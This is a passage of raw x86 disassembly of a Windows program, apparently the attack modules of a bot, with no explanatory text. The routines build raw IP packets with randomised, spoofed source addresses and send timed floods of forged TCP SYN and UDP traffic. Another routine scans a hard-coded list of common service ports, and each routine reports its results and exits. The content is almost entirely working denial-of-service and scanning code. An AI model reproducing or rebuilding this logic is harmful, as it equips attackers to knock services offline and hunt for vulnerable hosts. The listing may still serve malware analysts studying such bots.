call dword_4E08A0 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A072 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call near ptr sub_41C8D0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_41B190 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A072 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C8D0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4E0900 cmp eax, 0FFFFFFFFh jz short loc_413633 inc [ebp+arg_0] jmp loc_4133ED ; --------------------------------------------------------------------------- loc_413633: ; CODE XREF: sub_4131FE+42Bj push [ebp+var_4] call dword_4E0934 call dword_4E083C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset unk_44CE18 lea eax, [ebp+var_440] push 200h push eax call sub_41B910 add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_413691 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_408EB9 add esp, 14h loc_413691: ; CODE XREF: sub_4131FE+46Ej lea eax, [ebp+var_440] push eax call sub_41458A push [ebp+var_BC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_4136B1: ; CODE XREF: sub_4131FE+203j push [ebp+var_4] call dword_4E0934 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset unk_44CE68 push eax call sub_41B740 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_413722 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_408EB9 add esp, 14h loc_413722: ; CODE XREF: sub_4131FE+4FFj lea eax, [ebp+var_440] push eax call sub_41458A push [ebp+var_BC] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread sub_4131FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413742 proc near ; CODE XREF: sub_413849+198p ; sub_413849+1A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_41376E mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_413760: ; CODE XREF: sub_413742+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_413760 pop edi cmp eax, 1 loc_41376E: ; CODE XREF: sub_413742+12j jnz short loc_41377B mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_41377B: ; CODE XREF: sub_413742:loc_41376Ej mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_413742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413794 proc near ; DATA XREF: sub_401CC1+63ABo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41B3F0 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E08DC push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_413849 push eax lea eax, [ebp+var_394] push offset unk_44CEB8 push eax call sub_41B740 xor esi, esi add esp, 1A8h cmp [ebp+var_8], esi jnz short loc_41382C push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_408EB9 add esp, 14h loc_41382C: ; CODE XREF: sub_413794+76j lea eax, [ebp+var_394] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread sub_413794 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413849 proc near ; CODE XREF: sub_413794+54p var_CC = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, dword_4F1364 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4E091C mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41B840 pop ecx mov edi, 578h push edi push 9 push 1 call sub_4165B5 pop ecx pop ecx push eax lea eax, [ebp+var_28] push eax call sub_41B190 add esp, 0Ch mov esi, 5A0h loc_4138A3: ; CODE XREF: sub_413849+233j call dword_4F1364 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_413A81 cmp dword_4E4098, ebx jnz short loc_413920 push 10h pop eax mov [ebp+var_14], eax push eax lea eax, [ebp+var_68] push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4E0848 push 0FFh push 1 call sub_4165B5 push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+var_CC] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax call sub_41B740 add esp, 20h jmp short loc_413933 ; --------------------------------------------------------------------------- loc_413920: ; CODE XREF: sub_413849+7Ej lea eax, [ebp+var_CC] push offset dword_4E3A78 push eax call sub_41C300 pop ecx pop ecx loc_413933: ; CODE XREF: sub_413849+D5j lea eax, [ebp+var_CC] push eax call dword_4E08DC mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4E08A0 mov [ebp+var_52], ax call sub_41B850 mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call sub_41B850 mov [ebp+var_40], ax call sub_41B850 mov [ebp+var_3E], ax call sub_41B850 mov [ebp+var_3C], eax call sub_41B850 mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_413742 mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_413742 mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call dword_4F14FC ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A0] push 14h push eax lea eax, [ebp+var_40] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_8C] push edi push eax lea eax, [ebp+var_28] push eax call near ptr sub_41C8D0 lea eax, [ebp+var_AC] push 598h push eax call sub_413742 add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4E0900 inc [ebp+var_4] jmp loc_4138A3 ; --------------------------------------------------------------------------- loc_413A81: ; CODE XREF: sub_413849+72j push [ebp+var_8] call dword_4E0934 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_413849 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A92 proc near ; DATA XREF: sub_401CC1+4480o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_413B08 push eax lea eax, [ebp+var_414] push offset unk_44CEF8 push eax call sub_41B740 add esp, 220h lea eax, [ebp+var_414] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push 0 call dword_4F1388 ; ExitThread sub_413A92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B08 proc near ; CODE XREF: sub_413A92+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4E091C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_413B46 lea eax, [ebp+var_254] push offset unk_44CF38 push eax call sub_41B740 pop ecx xor edi, edi pop ecx jmp loc_413E0C ; --------------------------------------------------------------------------- loc_413B46: ; CODE XREF: sub_413B08+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4E0880 cmp eax, 0FFFFFFFFh jnz short loc_413B72 call dword_4E083C push eax push offset unk_44CF64 jmp short loc_413B8D ; --------------------------------------------------------------------------- loc_413B72: ; CODE XREF: sub_413B08+5Aj lea eax, [ebp+arg_4] push eax call dword_4E08DC cmp eax, 0FFFFFFFFh jnz short loc_413BA1 call dword_4E083C push eax push offset unk_44CFB4 loc_413B8D: ; CODE XREF: sub_413B08+68j lea eax, [ebp+var_254] push eax call sub_41B740 add esp, 0Ch jmp loc_413E0C ; --------------------------------------------------------------------------- loc_413BA1: ; CODE XREF: sub_413B08+77j push edi mov [ebp+var_24], 2 call dword_4E08A0 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_4F14F8 ; inet_addr mov esi, dword_4F1364 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44CFF8 push eax call sub_41B740 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_413C0A push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_413C0A: ; CODE XREF: sub_413B08+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41B3F0 cmp esi, eax pop ecx ja loc_413DC3 mov esi, 41Ch jmp short loc_413C3E ; --------------------------------------------------------------------------- loc_413C39: ; CODE XREF: sub_413B08+2B5j mov ebx, 0FFh loc_413C3E: ; CODE XREF: sub_413B08+12Fj cmp dword_4E4098, edi jnz short loc_413C96 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4E0848 push ebx push 1 call sub_4165B5 push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D_2 ; "%d.%d.%d.%d" push eax call sub_41B740 add esp, 20h jmp short loc_413CA6 ; --------------------------------------------------------------------------- loc_413C96: ; CODE XREF: sub_413B08+13Cj lea eax, [ebp+var_54] push offset dword_4E3A78 push eax call sub_41C300 pop ecx pop ecx loc_413CA6: ; CODE XREF: sub_413B08+18Cj push esi mov byte_4E3C78, 45h call dword_4E08A0 mov word_4E3C7A, ax lea eax, [ebp+var_54] push eax mov word_4E3C7C, 1 mov word_4E3C7E, di mov byte_4E3C80, 80h mov byte_4E3C81, 11h mov word_4E3C82, di call dword_4E08DC mov dword_4E3C84, eax mov eax, [ebp+var_20] mov dword_4E3C88, eax lea eax, [ebp+arg_84] push eax mov word_4E3C92, di call sub_41B3F0 test eax, eax pop ecx jnz short loc_413D1E call sub_41B850 cdq mov ecx, 401h idiv ecx push edx jmp short loc_413D2C ; --------------------------------------------------------------------------- loc_413D1E: ; CODE XREF: sub_413B08+204j lea eax, [ebp+arg_84] push eax call sub_41B3F0 pop ecx push eax loc_413D2C: ; CODE XREF: sub_413B08+214j call dword_4E08A0 mov word_4E3C8E, ax call sub_41B850 cdq mov ecx, 401h push 408h idiv ecx mov word_4E3C8C, dx call dword_4E08A0 push 400h mov word_4E3C90, ax call sub_41B850 cdq idiv ebx push edx push offset dword_4E3C94 call sub_41B190 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4E3C78 push [ebp+var_C] call dword_4E0900 cmp eax, 0FFFFFFFFh jz loc_413E3B inc [ebp+var_4] call dword_4F1364 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41B3F0 cmp ebx, eax pop ecx jbe loc_413C39 loc_413DC3: ; CODE XREF: sub_413B08+124j push [ebp+var_C] call dword_4E0934 mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41B3F0 mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44D0BC push eax call sub_41B740 add esp, 1Ch loc_413E0C: ; CODE XREF: sub_413B08+39j ; sub_413B08+94j ... cmp [ebp+arg_20C], edi jnz short loc_413E34 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_413E34: ; CODE XREF: sub_413B08+30Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_413E3B: ; CODE XREF: sub_413B08+289j push [ebp+var_4] push esi call dword_4E083C push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44D030 push eax call sub_41B740 add esp, 18h jmp short loc_413E0C sub_413B08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E60 proc near ; DATA XREF: sub_401CC1+5B18o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41B3F0 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_41B3F0 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4E08DC push eax call sub_413FFA push eax lea eax, [ebp+var_414] push offset unk_44D120 push eax call sub_41B740 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_413EF2 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_408EB9 add esp, 14h loc_413EF2: ; CODE XREF: sub_413E60+70j lea eax, [ebp+var_414] push eax call sub_41458A push [ebp+var_10] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_413E60 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F11 proc near ; CODE XREF: sub_413FFA+191p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_413F3A push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4F1500 ; connect jmp loc_413FF6 ; --------------------------------------------------------------------------- loc_413F3A: ; CODE XREF: sub_413F11+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call dword_4F14E4 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E084C push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4E0888 test eax, eax jnz short loc_413F9E or eax, 0FFFFFFFFh jmp short loc_413FF6 ; --------------------------------------------------------------------------- loc_413F9E: ; CODE XREF: sub_413F11+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_413FA9 loc_413FA5: ; CODE XREF: sub_413F11+B8j ; sub_413F11+DCj mov eax, edi jmp short loc_413FF6 ; --------------------------------------------------------------------------- loc_413FA9: ; CODE XREF: sub_413F11+92j lea eax, [ebp+var_10C] push eax push esi call sub_435832 ; __WSAFDIsSet test eax, eax jnz short loc_413FCB lea eax, [ebp+var_210] push eax push esi call sub_435832 ; __WSAFDIsSet test eax, eax jz short loc_413FA5 loc_413FCB: ; CODE XREF: sub_413F11+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4F14CC ; getsockopt cmp eax, edi jz short loc_413FA5 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_413FF6: ; CODE XREF: sub_413F11+24j ; sub_413F11+8Bj ... pop edi pop esi leave retn sub_413F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FFA proc near ; CODE XREF: sub_413E60+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], esi call dword_4F14F4 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4E4108, eax call dword_4E0880 call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_41413E: ; CODE XREF: sub_413FFA+1BEj mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4E08A0 push ebx push esi push 2 mov [ebp+var_9A], ax call dword_4E091C lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_413F11 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4E0934 cmp [ebp+var_8], ebx jnz short loc_4141B0 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_4141B0: ; CODE XREF: sub_413FFA+1A8j add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_41413E mov esi, offset dword_4E410C push offset asc_44D14C ; " " push esi call sub_41B740 mov edi, dword_4F1364 pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_4141E3: ; CODE XREF: sub_413FFA+23Fj call edi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_41423B mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_414214 push eax push esi push offset aSD_2 ; "%s%d " push esi mov [ebp+var_10], eax call sub_41B740 add esp, 10h jmp short loc_41422E ; --------------------------------------------------------------------------- loc_414214: ; CODE XREF: sub_413FFA+203j push 0FFFFh push ebx call sub_4165B5 pop ecx pop ecx push eax call dword_4E08A0 movzx eax, ax mov [ebp+var_10], eax loc_41422E: ; CODE XREF: sub_413FFA+218j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_4141E3 loc_41423B: ; CODE XREF: sub_413FFA+1FAj ; sub_413FFA+46Bj push 28h push ebx push offset byte_4E40A8 call sub_41B190 mov esi, 0FFFFh mov byte_4E40A8, 45h push esi push 400h mov byte_4E40B1, 6 mov byte_4E40A9, 8 call sub_4165B5 add esp, 14h push eax call dword_4E08A0 push 28h mov word_4E40AC, ax call dword_4E08A0 or byte_4E40B0, 0FFh cmp dword_4E4098, ebx mov word_4E40AA, ax mov word_4E40AE, bx jnz short loc_4142AC push [ebp+arg_0] call sub_414474 pop ecx jmp short loc_4142B7 ; --------------------------------------------------------------------------- loc_4142AC: ; CODE XREF: sub_413FFA+2A5j push offset dword_4E3A78 call dword_4E08DC loc_4142B7: ; CODE XREF: sub_413FFA+2B0j mov dword_4E40B4, eax mov eax, [ebp+arg_0] push 4000h mov dword_4E40B8, eax mov byte_4E40C9, bl call dword_4E08A0 push esi push ebx mov word_4E40CA, ax call sub_4165B5 mov edi, eax push esi push ebx shl edi, 8 call sub_4165B5 add esp, 10h add edi, eax push edi call dword_4E089C mov dword_4E40C0, eax mov al, byte_4E40C8 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4E40C8, al mov ax, word ptr [ebp+var_10] mov dword_4E40C4, ebx mov word_4E40CE, bx mov word_4E40BE, ax mov dword_4E40E4, edi mov byte_4E40E8, bl mov byte_4E40E9, 6 call dword_4E08A0 mov word_4E40EA, ax mov ax, word_4E40BE mov word_4E40D0, 2 mov dword_4E40D4, edi mov word_4E40D2, ax mov [ebp+var_4], ebx jmp short loc_41436D ; --------------------------------------------------------------------------- loc_414368: ; CODE XREF: sub_413FFA+445j mov esi, 0FFFFh loc_41436D: ; CODE XREF: sub_413FFA+36Cj cmp [ebp+var_4], ebx jnz short loc_4143A1 push esi push ebx call sub_4165B5 pop ecx pop ecx push eax call dword_4E08A0 mov word_4E40BC, ax mov eax, dword_4E40B4 mov dword_4E40E0, eax mov byte_4E40C9, 2 mov dword_4E40C4, ebx jmp short loc_4143C0 ; --------------------------------------------------------------------------- loc_4143A1: ; CODE XREF: sub_413FFA+376j push esi push ebx mov byte_4E40C9, 10h call sub_4165B5 pop ecx pop ecx push eax call dword_4E08A0 movzx eax, ax mov dword_4E40C4, eax loc_4143C0: ; CODE XREF: sub_413FFA+3A5j inc word_4E40AC inc dword_4E40C0 mov ax, word_4E40BE push 5 pop ecx mov esi, offset word_4E40BC mov edi, offset dword_4E40EC mov word_4E40B2, bx mov word_4E40CC, bx push 14h rep movsd mov esi, offset byte_4E40A8 mov word_4E40D2, ax push esi call sub_40A072 push 20h push offset dword_4E40E0 mov word_4E40B2, ax call sub_40A072 add esp, 10h mov word_4E40CC, ax push 10h push offset word_4E40D0 push ebx push 28h push esi push dword_4E4108 call dword_4E0900 inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_414368 call dword_4F1364 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_41446A push [ebp+arg_8] call dword_4F1334 ; Sleep jmp loc_41423B ; --------------------------------------------------------------------------- loc_41446A: ; CODE XREF: sub_413FFA+460j pop edi pop esi mov eax, offset dword_4E410C pop ebx leave retn sub_413FFA endp ; =============== S U B R O U T I N E ======================================= sub_414474 proc near ; CODE XREF: sub_413FFA+2AAp arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_4165B5 pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_414474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414492 proc near ; CODE XREF: sub_401CC1+687Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_452A48 mov edi, 0B8h loc_4144A6: ; CODE XREF: sub_414492+33j cmp byte ptr [esi], 0 jz short loc_4144C9 push [ebp+arg_0] push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4144C9 inc [ebp+var_4] add esi, edi cmp esi, offset dword_4535C8 jl short loc_4144A6 jmp short loc_41450B ; --------------------------------------------------------------------------- loc_4144C9: ; CODE XREF: sub_414492+17j ; sub_414492+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_452A48[esi] push ebx call sub_41B190 push 17h push [ebp+arg_0] push ebx call sub_41B1F0 push 9Fh lea eax, dword_452A60[esi] push [ebp+arg_4] push eax call sub_41B1F0 add esp, 24h inc dword_43C6A4 pop ebx loc_41450B: ; 